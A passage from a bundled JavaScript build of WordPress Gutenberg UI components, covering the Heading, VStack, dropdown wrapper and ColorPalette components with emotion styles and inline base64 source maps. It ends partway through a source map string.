32314 // packages/components/build-module/circular-option-picker/utils.mjs
32315 var import_i18n18 = __toESM(require_i18n(), 1);
32316 function getComputeCircularOptionPickerCommonProps(asButtons, loop, ariaLabel, ariaLabelledby) {
32317 const metaProps = asButtons ? {
32318 asButtons: true
32319 } : {
32320 asButtons: false,
32321 loop
32322 };
32323 const labelProps = {
32324 "aria-labelledby": ariaLabelledby,
32325 "aria-label": ariaLabelledby ? void 0 : ariaLabel || (0, import_i18n18.__)("Custom color picker")
32326 };
32327 return {
32328 metaProps,
32329 labelProps
32330 };
32331 }
32332
32333 // packages/components/build-module/circular-option-picker/index.mjs
32334 var circular_option_picker_default2 = circular_option_picker_default;
32335
32336 // packages/components/build-module/v-stack/hook.mjs
32337 function useVStack(props) {
32338 const {
32339 expanded = false,
32340 alignment = "stretch",
32341 ...otherProps
32342 } = useContextSystem(props, "VStack");
32343 const hStackProps = useHStack({
32344 direction: "column",
32345 expanded,
32346 alignment,
32347 ...otherProps
32348 });
32349 return hStackProps;
32350 }
32351
32352 // packages/components/build-module/v-stack/component.mjs
32353 var import_jsx_runtime143 = __toESM(require_jsx_runtime(), 1);
32354 function UnconnectedVStack(props, forwardedRef) {
32355 const vStackProps = useVStack(props);
32356 return /* @__PURE__ */ (0, import_jsx_runtime143.jsx)(component_default, {
32357 ...vStackProps,
32358 ref: forwardedRef
32359 });
32360 }
32361 var VStack = contextConnect(UnconnectedVStack, "VStack");
32362 var component_default18 = VStack;
32363
32364 // packages/components/build-module/heading/hook.mjs
32365 function useHeading(props) {
32366 const {
32367 as: asProp,
32368 level = 2,
32369 color: color2 = COLORS.theme.foreground,
32370 isBlock = true,
32371 weight = config_values_default.fontWeightHeading,
32372 ...otherProps
32373 } = useContextSystem(props, "Heading");
32374 const as = asProp || `h${level}`;
32375 const a11yProps = {};
32376 if (typeof as === "string" && as[0] !== "h") {
32377 a11yProps.role = "heading";
32378 a11yProps["aria-level"] = typeof level === "string" ? parseInt(level) : level;
32379 }
32380 const textProps = useText({
32381 color: color2,
32382 isBlock,
32383 weight,
32384 size: getHeadingFontSize(level),
32385 ...otherProps
32386 });
32387 return {
32388 ...textProps,
32389 ...a11yProps,
32390 as
32391 };
32392 }
32393
32394 // packages/components/build-module/heading/component.mjs
32395 var import_jsx_runtime144 = __toESM(require_jsx_runtime(), 1);
32396 function UnconnectedHeading(props, forwardedRef) {
32397 const headerProps = useHeading(props);
32398 return /* @__PURE__ */ (0, import_jsx_runtime144.jsx)(component_default, {
32399 ...headerProps,
32400 ref: forwardedRef
32401 });
32402 }
32403 var Heading = contextConnect(UnconnectedHeading, "Heading");
32404 var component_default19 = Heading;
32405
32406 // packages/components/build-module/color-palette/styles.mjs
32407 var ColorHeading = /* @__PURE__ */ createStyled(component_default19, false ? {
32408 target: "ev9wop70"
32409 } : {
32410 target: "ev9wop70",
32411 label: "ColorHeading"
32412 })("text-transform:uppercase;line-height:24px;font-weight:", config_values_default.fontWeightMedium, ";&&&{font-size:11px;margin-bottom:0;}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFXNkMiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBIZWFkaW5nIH0gZnJvbSAnLi4vaGVhZGluZyc7XG5pbXBvcnQgeyBDT05GSUcgfSBmcm9tICcuLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCBDb2xvckhlYWRpbmcgPSBzdHlsZWQoIEhlYWRpbmcgKWBcblx0dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcblx0bGluZS1oZWlnaHQ6IDI0cHg7XG5cdGZvbnQtd2VpZ2h0OiAkeyBDT05GSUcuZm9udFdlaWdodE1lZGl1bSB9O1xuXHQmJiYge1xuXHRcdGZvbnQtc2l6ZTogMTFweDtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHR9XG5gO1xuIl19 */"));
32413
32414 // packages/components/build-module/dropdown/styles.mjs
32415 var padding = ({
32416 paddingSize = "small"
32417 }) => {
32418 if (paddingSize === "none") {
32419 return;
32420 }
32421 const paddingValues = {
32422 small: space(2),
32423 medium: space(4)
32424 };
32425 return /* @__PURE__ */ css("padding:", paddingValues[paddingSize] || paddingValues.small, ";" + (false ? "" : ";label:padding;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFzQlciLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB0eXBlIHsgRHJvcGRvd25Db250ZW50V3JhcHBlclByb3BzIH0gZnJvbSAnLi90eXBlcyc7XG5cbmNvbnN0IHBhZGRpbmcgPSAoIHsgcGFkZGluZ1NpemUgPSAnc21hbGwnIH06IERyb3Bkb3duQ29udGVudFdyYXBwZXJQcm9wcyApID0+IHtcblx0aWYgKCBwYWRkaW5nU2l6ZSA9PT0gJ25vbmUnICkge1xuXHRcdHJldHVybjtcblx0fVxuXG5cdGNvbnN0IHBhZGRpbmdWYWx1ZXMgPSB7XG5cdFx0c21hbGw6IHNwYWNlKCAyICksXG5cdFx0bWVkaXVtOiBzcGFjZSggNCApLFxuXHR9O1xuXG5cdHJldHVybiBjc3NgXG5cdFx0cGFkZGluZzogJHsgcGFkZGluZ1ZhbHVlc1sgcGFkZGluZ1NpemUgXSB8fCBwYWRkaW5nVmFsdWVzLnNtYWxsIH07XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgRHJvcGRvd25Db250ZW50V3JhcHBlckRpdiA9IHN0eWxlZC5kaXY8IERyb3Bkb3duQ29udGVudFdyYXBwZXJQcm9wcyA+YFxuXHQvLyBOZWdhdGl2ZSBtYXJnaW4gdG8gcmVzZXQgKG9mZnNldCkgdGhlIGRlZmF1bHQgcGFkZGluZyBvbiAuY29tcG9uZW50cy1wb3BvdmVyX19jb250ZW50XG5cdG1hcmdpbi1sZWZ0OiAkeyBzcGFjZSggLTIgKSB9O1xuXHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCAtMiApIH07XG5cdCY6Zmlyc3Qtb2YtdHlwZSB7XG5cdFx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIC0yICkgfTtcblx0fVxuXHQmOmxhc3Qtb2YtdHlwZSB7XG5cdFx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIC0yICkgfTtcblx0fVxuXG5cdCR7IHBhZGRpbmcgfTtcbmA7XG4iXX0= */");
32426 };
32427 var DropdownContentWrapperDiv = /* @__PURE__ */ createStyled("div", false ? {
32428 target: "eovvns30"
32429 } : {
32430 target: "eovvns30",
32431 label: "DropdownContentWrapperDiv"
32432 })("margin-left:", space(-2), ";margin-right:", space(-2), ";&:first-of-type{margin-top:", space(-2), ";}&:last-of-type{margin-bottom:", space(-2), ";}", padding, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEyQmtGIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgdHlwZSB7IERyb3Bkb3duQ29udGVudFdyYXBwZXJQcm9wcyB9IGZyb20gJy4vdHlwZXMnO1xuXG5jb25zdCBwYWRkaW5nID0gKCB7IHBhZGRpbmdTaXplID0gJ3NtYWxsJyB9OiBEcm9wZG93bkNvbnRlbnRXcmFwcGVyUHJvcHMgKSA9PiB7XG5cdGlmICggcGFkZGluZ1NpemUgPT09ICdub25lJyApIHtcblx0XHRyZXR1cm47XG5cdH1cblxuXHRjb25zdCBwYWRkaW5nVmFsdWVzID0ge1xuXHRcdHNtYWxsOiBzcGFjZSggMiApLFxuXHRcdG1lZGl1bTogc3BhY2UoIDQgKSxcblx0fTtcblxuXHRyZXR1cm4gY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHBhZGRpbmdWYWx1ZXNbIHBhZGRpbmdTaXplIF0gfHwgcGFkZGluZ1ZhbHVlcy5zbWFsbCB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IERyb3Bkb3duQ29udGVudFdyYXBwZXJEaXYgPSBzdHlsZWQuZGl2PCBEcm9wZG93bkNvbnRlbnRXcmFwcGVyUHJvcHMgPmBcblx0Ly8gTmVnYXRpdmUgbWFyZ2luIHRvIHJlc2V0IChvZmZzZXQpIHRoZSBkZWZhdWx0IHBhZGRpbmcgb24gLmNvbXBvbmVudHMtcG9wb3Zlcl9fY29udGVudFxuXHRtYXJnaW4tbGVmdDogJHsgc3BhY2UoIC0yICkgfTtcblx0bWFyZ2luLXJpZ2h0OiAkeyBzcGFjZSggLTIgKSB9O1xuXHQmOmZpcnN0LW9mLXR5cGUge1xuXHRcdG1hcmdpbi10b3A6ICR7IHNwYWNlKCAtMiApIH07XG5cdH1cblx0JjpsYXN0LW9mLXR5cGUge1xuXHRcdG1hcmdpbi1ib3R0b206ICR7IHNwYWNlKCAtMiApIH07XG5cdH1cblxuXHQkeyBwYWRkaW5nIH07XG5gO1xuIl19 */"));
32433
32434 // packages/components/build-module/dropdown/dropdown-content-wrapper.mjs
32435 var import_jsx_runtime145 = __toESM(require_jsx_runtime(), 1);
32436 function UnconnectedDropdownContentWrapper(props, forwardedRef) {
32437 const {
32438 paddingSize = "small",
32439 ...derivedProps
32440 } = useContextSystem(props, "DropdownContentWrapper");
32441 return /* @__PURE__ */ (0, import_jsx_runtime145.jsx)(DropdownContentWrapperDiv, {
32442 ...derivedProps,
32443 paddingSize,
32444 ref: forwardedRef
32445 });
32446 }
32447 var DropdownContentWrapper = contextConnect(UnconnectedDropdownContentWrapper, "DropdownContentWrapper");
32448 var dropdown_content_wrapper_default = DropdownContentWrapper;
32449
32450 // packages/components/build-module/color-palette/utils.mjs
32451 var import_i18n19 = __toESM(require_i18n(), 1);
32452 k([names_default, a11y_default]);
32453 var isSimpleCSSColor = (value) => {
32454 const valueIsCssVariable = /var\(/.test(value ?? "");
32455 const valueIsColorMix = /color-mix\(/.test(value ?? "");
32456 return !valueIsCssVariable && !valueIsColorMix;
32457 };
32458 var extractColorNameFromCurrentValue = (currentValue, colors = [], showMultiplePalettes = false) => {
32459 if (!currentValue) {
32460 return "";
32461 }
32462 const currentValueIsSimpleColor = currentValue ? isSimpleCSSColor(currentValue) : false;
32463 const normalizedCurrentValue = currentValueIsSimpleColor ? w(currentValue).toHex() : currentValue;
32464 const colorPalettes = showMultiplePalettes ? colors : [{
32465 colors
32466 }];
32467 for (const {
32468 colors: paletteColors
32469 } of colorPalettes) {
32470 for (const {
32471 name: colorName,
32472 color: colorValue
32473 } of paletteColors) {
32474 const normalizedColorValue = currentValueIsSimpleColor ? w(colorValue).toHex() : colorValue;
32475 if (normalizedCurrentValue === normalizedColorValue) {
32476 return colorName;
32477 }
32478 }
32479 }
32480 return (0, import_i18n19.__)("Custom");
32481 };
32482 var isMultiplePaletteObject = (obj) => Array.isArray(obj.colors) && !("color" in obj);
32483 var isMultiplePaletteArray = (arr) => {
32484 return arr.length > 0 && arr.every((colorObj) => isMultiplePaletteObject(colorObj));
32485 };
32486 var normalizeColorValue = (value, element) => {
32487 if (!value || !element || isSimpleCSSColor(value)) {
32488 return value;
32489 }
32490 const {
32491 ownerDocument
32492 } = element;
32493 const {
32494 defaultView
32495 } = ownerDocument;
32496 const computedBackgroundColor = defaultView?.getComputedStyle(element).backgroundColor;
32497 return computedBackgroundColor ? w(computedBackgroundColor).toHex() : value;
32498 };
32499
32500 // packages/components/build-module/color-palette/index.mjs
32501 var import_jsx_runtime146 = __toESM(require_jsx_runtime(), 1);
32502 k([names_default, a11y_default]);
32503 function SinglePalette({
32504 className: className2,
32505 clearColor,
32506 colors,
32507 onChange,
32508 value,
32509 ...additionalProps
32510 }) {
32511 const colorOptions = (0, import_element81.useMemo)(() => {
32512 return colors.map(({
32513 color: color2,
32514 name
32515 }, index2) => {
32516 const colordColor = w(color2);
32517 const isSelected2 = value === color2;
32518 return /* @__PURE__ */ (0, import_jsx_runtime146.jsx)(circular_option_picker_default2.Option, {
32519 isSelected: isSelected2,
32520 selectedIconProps: isSelected2 ? {
32521 fill: colordColor.contrast() > colordColor.contrast("#000") ? "#fff" : "#000"
32522 } : {},
32523 tooltipText: name || // translators: %s: color hex code e.g: "#f00".
32524 (0, import_i18n20.sprintf)((0, import_i18n20.__)("Color code: %s"), color2),
32525 style: {
32526 backgroundColor: color2,
32527 color: color2
32528 },
32529 onClick: isSelected2 ? clearColor : () => onChange(color2, index2)
32530 }, `${color2}-${index2}`);
32531 });
32532 }, [colors, value, onChange, clearColor]);
32533 return /* @__PURE__ */ (0, import_jsx_runtime146.jsx)(circular_option_picker_default2.OptionGroup, {
32534 className: className2,
32535 options: colorOptions,
32536 ...additionalProps
32537 });
32538 }
32539 function MultiplePalettes({
32540 className: className2,
32541 clearColor,
32542 colors,
32543 onChange,
32544 value,
32545 headingLevel
32546 }) {
32547 const instanceId = (0, import_compose34.useInstanceId)(MultiplePalettes, "color-palette");
32548 if (colors.length === 0) {
32549 return null;
32550 }
32551 return /* @__PURE__ */ (0, import_jsx_runtime146.jsx)(component_default18, {
32552 spacing: 3,
32553 className: className2,
32554 children: colors.map(({
32555 name,
32556 colors: colorPalette
32557 }, index2) => {
32558 const id3 = `${instanceId}-${index2}`;
32559 return /* @__PURE__ */ (0, import_jsx_runtime146.jsxs)(component_default18, {
32560 spacing: 2,
32561 children: [/* @__PURE__ */ (0, import_jsx_runtime146.jsx)(ColorHeading, {
32562 id: id3,
32563 level: headingLevel,
32564 children: name
32565 }), /* @__PURE__ */ (0, import_jsx_runtime146.jsx)(SinglePalette, {
32566 clearColor,
32567 colors: colorPalette,
32568 onChange: (newColor) => onChange(newColor, index2),
32569 value,
32570 "aria-labelledby": id3
32571 })]
32572 }, index2);
32573 })
32574 });
32575 }
32576 function CustomColorPickerDropdown({
32577 isRenderedInSidebar,
32578 popoverProps: receivedPopoverProps,
32579 ...props
32580 }) {
32581 const popoverProps = (0, import_element81.useMemo)(() => ({
32582 shift: true,
32583 // Disabling resize as it would otherwise cause the popover to show
32584 // scrollbars while dragging the color picker's handle close to the
32585 // popover edge.
32586 resize: false,
32587 ...isRenderedInSidebar ? {
32588 // When in the sidebar: open to the left (stacking),
32589 // leaving the same gap as the parent popover.
32590 placement: "left-start",
32591 offset: 34
32592 } : {
32593 // Default behavior: open below the anchor
32594 placement: "bottom",
32595 offset: 8
32596 },
32597 ...receivedPopoverProps
32598 }), [isRenderedInSidebar, receivedPopoverProps]);
32599 return /* @__PURE__ */ (0, import_jsx_runtime146.jsx)(dropdown_default, {
32600 contentClassName: "components-color-palette__custom-color-dropdown-content",
32601 popoverProps,
32602 ...props
32603 });
32604 }
32605 function UnforwardedColorPalette(props, forwardedRef) {
32606 const {
32607 asButtons,
32608 loop,
32609 clearable = true,
32610 colors = [],
32611 disableCustomColors = false,
32612 enableAlpha = false,
32613 onChange,
32614 value,
32615 __experimentalIsRenderedInSidebar = false,
32616 headingLevel = 2,
32617 "aria-label": ariaLabel,
32618 "aria-labelledby": ariaLabelledby,
32619 ...additionalProps
32620 } = props;
32621 const [normalizedColorValue, setNormalizedColorValue] = (0, import_element81.useState)(value);
32622 const clearColor = (0, import_element81.useCallback)(() => onChange(void 0), [onChange]);
32623 const customColorPaletteCallbackRef = (0, import_element81.useCallback)((node2) => {
32624 setNormalizedColorValue(normalizeColorValue(value, node2));
32625 }, [value]);
32626 const hasMultipleColorOrigins = isMultiplePaletteArray(colors);
32627 const buttonLabelName = (0, import_element81.useMemo)(() => extractColorNameFromCurrentValue(value, colors, hasMultipleColorOrigins), [value, colors, hasMultipleColorOrigins]);
32628 const renderCustomColorPicker = () => /* @__PURE__ */ (0, import_jsx_runtime146.jsx)(dropdown_content_wrapper_default, {
32629 paddingSize: "none",
32630 children: /* @__PURE__ */ (0, import_jsx_runtime146.jsx)(LegacyAdapter, {
32631 color: normalizedColorValue,
32632 onChange: (color2) => onChange(color2),
32633 enableAlpha
32634 })
32635 });
32636 const isHex = value?.startsWith("#");
32637 const displayValue = value?.replace(/^var\((.+)\)$/, "$1");
32638 const customColorAccessibleLabel = !!displayValue ? (0, import_i18n20.sprintf)(
32639 // translators: 1: The name of the color e.g: "vivid red". 2: The color's hex code e.g: "#f00".
32640 (0, import_i18n20.__)('Custom color picker. The currently selected color is called "%1$s" and has a value of "%2$s".'),
32641 buttonLabelName,
32642 displayValue
32643 ) : (0, import_i18n20.__)("Custom color picker");
32644 const paletteCommonProps = {
32645 clearColor,
32646 onChange,
32647 value
32648 };
32649 const actions = !!clearable && /* @__PURE__ */ (0, import_jsx_runtime146.jsx)(circular_option_picker_default2.ButtonAction, {
32650 onClick: clearColor,
32651 accessibleWhenDisabled: true,
32652 disabled: !value,
32653 children: (0, import_i18n20.__)("Clear")
32654 });
32655 const {
32656 metaProps,
32657 labelProps
32658 } = getComputeCircularOptionPickerCommonProps(asButtons, loop, ariaLabel, ariaLabelledby);
32659 return /* @__PURE__ */ (0, import_jsx_runtime146.jsxs)(component_default18, {
32660 spacing: 3,
32661 ref: forwardedRef,
32662 ...additionalProps,
32663 children: [!disableCustomColors && /* @__PURE__ */ (0, import_jsx_runtime146.jsx)(CustomColorPickerDropdown, {
32664 isRenderedInSidebar: __experimentalIsRenderedInSidebar,
32665 renderContent: renderCustomColorPicker,
32666 renderToggle: ({
32667 isOpen,
32668 onToggle
32669 }) => /* @__PURE__ */ (0, import_jsx_runtime146.jsxs)(component_default18, {
32670 className: "components-color-palette__custom-color-wrapper",
32671 spacing: 0,
32672 children: [/* @__PURE__ */ (0, import_jsx_runtime146.jsx)("button", {
32673 ref: customColorPaletteCallbackRef,
32674 className: "components-color-palette__custom-color-button",
32675 "aria-expanded": isOpen,
32676 "aria-haspopup": "true",
32677 onClick: onToggle,
32678 "aria-label": customColorAccessibleLabel,
32679 style: {
32680 background: value
32681 },
32682 type: "button"
32683 }), /* @__PURE__ */ (0, import_jsx_runtime146.jsxs)(component_default18, {
32684 className: "components-color-palette__custom-color-text-wrapper",
32685 spacing: 0.5,
32686 children: [/* @__PURE__ */ (0, import_jsx_runtime146.jsx)(component_default7, {
32687 className: "components-color-palette__custom-color-name",
32688 children: value ? buttonLabelName : (0, import_i18n20.__)("No color selected")
32689 }), /* @__PURE__ */ (0, import_jsx_runtime146.jsx)(component_default7, {
32690 className: clsx_default("components-color-palette__custom-color-value", {
32691 "components-color-palette__custom-color-value--is-hex": isHex
32692 }),
32693 children: displayValue
32694 })]
32695 })]
32696 })
32697 }), (colors.length > 0 || actions) && /* @__PURE__ */ (0, import_jsx_runtime146.jsx)(circular_option_picker_default2, {
32698 ...metaProps,
32699 ...labelProps,
32700 actions,
32701 options: hasMultipleColorOrigins ? /* @__PURE__ */ (0, import_jsx_runtime146.jsx)(MultiplePalettes, {
32702 ...paletteCommonProps,
32703 headingLevel,
32704 colors,
32705 value
32706 }) : /* @__PURE__ */ (0, import_jsx_runtime146.jsx)(SinglePalette, {
32707 ...paletteCommonProps,
32708 colors,
32709 value
32710 })
32711 })]
32712 });
32713 }
32714 var ColorPalette = (0, import_element81.forwardRef)(UnforwardedColorPalette);
32715 ColorPalette.displayName = "ColorPalette";
32716 var color_palette_default = ColorPalette;
32717
32718 // packages/components/build-module/border-control/border-control-dropdown/hook.mjs
32719 var import_element83 = __toESM(require_element(), 1);
32720
32721 // packages/components/build-module/unit-control/styles/unit-control-styles.mjs
32722 var ValueInput = /* @__PURE__ */ createStyled(number_control_default, false ? {
32723 target: "e1bagdl32"
32724 } : {
32725 target: "e1bagdl32",
32726 label: "ValueInput"
32727 })("&&&{input{display:block;width:100%;}", BackdropUI, "{transition:box-shadow 0.1s linear;}}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInVuaXQtY29udHJvbC1zdHlsZXMudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBdUJpRCIsImZpbGUiOiJ1bml0LWNvbnRyb2wtc3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCBOdW1iZXJDb250cm9sIGZyb20gJy4uLy4uL251bWJlci1jb250cm9sJztcbmltcG9ydCB7IEJhY2tkcm9wVUkgfSBmcm9tICcuLi8uLi9pbnB1dC1jb250cm9sL3N0eWxlcy9pbnB1dC1jb250cm9sLXN0eWxlcyc7XG5pbXBvcnQgdHlwZSB7IFNlbGVjdFNpemUgfSBmcm9tICcuLi90eXBlcyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uLy4uL3V0aWxzL3NwYWNlJztcblxuLy8gVXNpbmcgYHNlbGVjdFNpemVgIGluc3RlYWQgb2YgYHNpemVgIHRvIGF2b2lkIGEgdHlwZSBjb25mbGljdCB3aXRoIHRoZVxuLy8gYHNpemVgIEhUTUwgYXR0cmlidXRlIG9mIHRoZSBgc2VsZWN0YCBlbGVtZW50LlxudHlwZSBTZWxlY3RQcm9wcyA9IHtcblx0c2VsZWN0U2l6ZTogU2VsZWN0U2l6ZTtcbn07XG5cbi8vIFRPRE86IFJlc29sdmUgbmVlZCB0byB1c2UgJiYmIHRvIGluY3JlYXNlIHNwZWNpZmljaXR5XG4vLyBodHRwczovL2dpdGh1Yi5jb20vV29yZFByZXNzL2d1dGVuYmVyZy9pc3N1ZXMvMTg0ODNcblxuZXhwb3J0IGNvbnN0IFZhbHVlSW5wdXQgPSBzdHlsZWQoIE51bWJlckNvbnRyb2wgKWBcblx0JiYmIHtcblx0XHRpbnB1dCB7XG5cdFx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRcdHdpZHRoOiAxMDAlO1xuXHRcdH1cblxuXHRcdCR7IEJhY2tkcm9wVUkgfSB7XG5cdFx0XHR0cmFuc2l0aW9uOiBib3gtc2hhZG93IDAuMXMgbGluZWFyO1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgYmFzZVVuaXRMYWJlbFN0eWxlcyA9ICggeyBzZWxlY3RTaXplIH06IFNlbGVjdFByb3BzICkgPT4ge1xuXHRjb25zdCBzaXplcyA9IHtcblx0XHRzbWFsbDogY3NzYFxuXHRcdFx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0XHRcdHBhZGRpbmc6IDJweCAxcHg7XG5cdFx0XHR3aWR0aDogMjBweDtcblx0XHRcdGZvbnQtc2l6ZTogOHB4O1xuXHRcdFx0bGluZS1oZWlnaHQ6IDE7XG5cdFx0XHRsZXR0ZXItc3BhY2luZzogLTAuNXB4O1xuXHRcdFx0dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcblx0XHRcdHRleHQtYWxpZ24tbGFzdDogY2VudGVyO1xuXG5cdFx0XHQmOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0XHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDgwMCBdIH07XG5cdFx0XHR9XG5cdFx0YCxcblx0XHRkZWZhdWx0OiBjc3NgXG5cdFx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdFx0bWluLXdpZHRoOiAyNHB4O1xuXHRcdFx0bWF4LXdpZHRoOiA0OHB4O1xuXHRcdFx0aGVpZ2h0OiAyNHB4O1xuXHRcdFx0bWFyZ2luLWlubGluZS1lbmQ6ICR7IHNwYWNlKCAyICkgfTtcblx0XHRcdHBhZGRpbmc6ICR7IHNwYWNlKCAxICkgfTtcblxuXHRcdFx0Zm9udC1zaXplOiAxM3B4O1xuXHRcdFx0bGluZS1oZWlnaHQ6IDE7XG5cdFx0XHR0ZXh0LWFsaWduLWxhc3Q6IGNlbnRlcjtcblx0XHRcdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdFx0XHRvdmVyZmxvdzogaGlkZGVuO1xuXHRcdFx0dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7XG5cdFx0XHRmaWVsZC1zaXppbmc6IGNvbnRlbnQ7XG5cblx0XHRcdCY6bm90KCA6ZGlzYWJsZWQgKSB7XG5cdFx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0XHR9XG5cdFx0YCxcblx0fTtcblxuXHRyZXR1cm4gc2l6ZXNbIHNlbGVjdFNpemUgXTtcbn07XG5cbmV4cG9ydCBjb25zdCBVbml0TGFiZWwgPSBzdHlsZWQuZGl2PCBTZWxlY3RQcm9wcyA+YFxuXHQmJiYge1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXG5cdFx0JHsgYmFzZVVuaXRMYWJlbFN0eWxlcyB9O1xuXG5cdFx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA5MDAgXSB9O1xuXHR9XG5gO1xuXG5jb25zdCB1bml0U2VsZWN0U2l6ZXMgPSAoIHsgc2VsZWN0U2l6ZSA9ICdkZWZhdWx0JyB9OiBTZWxlY3RQcm9wcyApID0+IHtcblx0Y29uc3Qgc2l6ZXMgPSB7XG5cdFx0c21hbGw6IGNzc2Bcblx0XHRcdGhlaWdodDogMTAwJTtcblx0XHRcdGJvcmRlcjogMXB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdFx0dHJhbnNpdGlvbjpcblx0XHRcdFx0Ym94LXNoYWRvdyAwLjFzIGxpbmVhcixcblx0XHRcdFx0Ym9yZGVyIDAuMXMgbGluZWFyO1xuXG5cdFx0XHQkeyBydGwoIHsgYm9yZGVyVG9wTGVmdFJhZGl1czogMCwgYm9yZGVyQm90dG9tTGVmdFJhZGl1czogMCB9ICkoKSB9XG5cblx0XHRcdCY6bm90KDpkaXNhYmxlZCk6aG92ZXIge1xuXHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgMTAwIF0gfTtcblx0XHRcdH1cblxuXHRcdFx0Jjpmb2N1cyB7XG5cdFx0XHRcdGJvcmRlcjogMXB4IHNvbGlkICR7IENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdFx0XHRib3gtc2hhZG93OiBpbnNldCAwIDAgMFxuXHRcdFx0XHRcdCR7IENPTkZJRy5ib3JkZXJXaWR0aCArICcgJyArIENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdFx0XHRvdXRsaW5lLW9mZnNldDogMDtcblx0XHRcdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdFx0XHR6LWluZGV4OiAxO1xuXHRcdFx0fVxuXHRcdGAsXG5cdFx0ZGVmYXVsdDogY3NzYFxuXHRcdFx0ZGlzcGxheTogZmxleDtcblx0XHRcdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRcdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblxuXHRcdFx0Jjp3aGVyZSggOm5vdCggOmRpc2FibGVkICkgKTpob3ZlciB7XG5cdFx0XHRcdGJveC1zaGFkb3c6IDAgMCAwXG5cdFx0XHRcdFx0JHsgQ09ORklHLmJvcmRlcldpZHRoICsgJyAnICsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHRcdG91dGxpbmU6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9IHNvbGlkIHRyYW5zcGFyZW50OyAvLyBGb3IgSGlnaCBDb250cmFzdCBNb2RlXG5cdFx0XHR9XG5cblx0XHRcdCY6Zm9jdXMge1xuXHRcdFx0XHRib3gtc2hhZG93OiAwIDAgMFxuXHRcdFx0XHRcdCR7IENPTkZJRy5ib3JkZXJXaWR0aE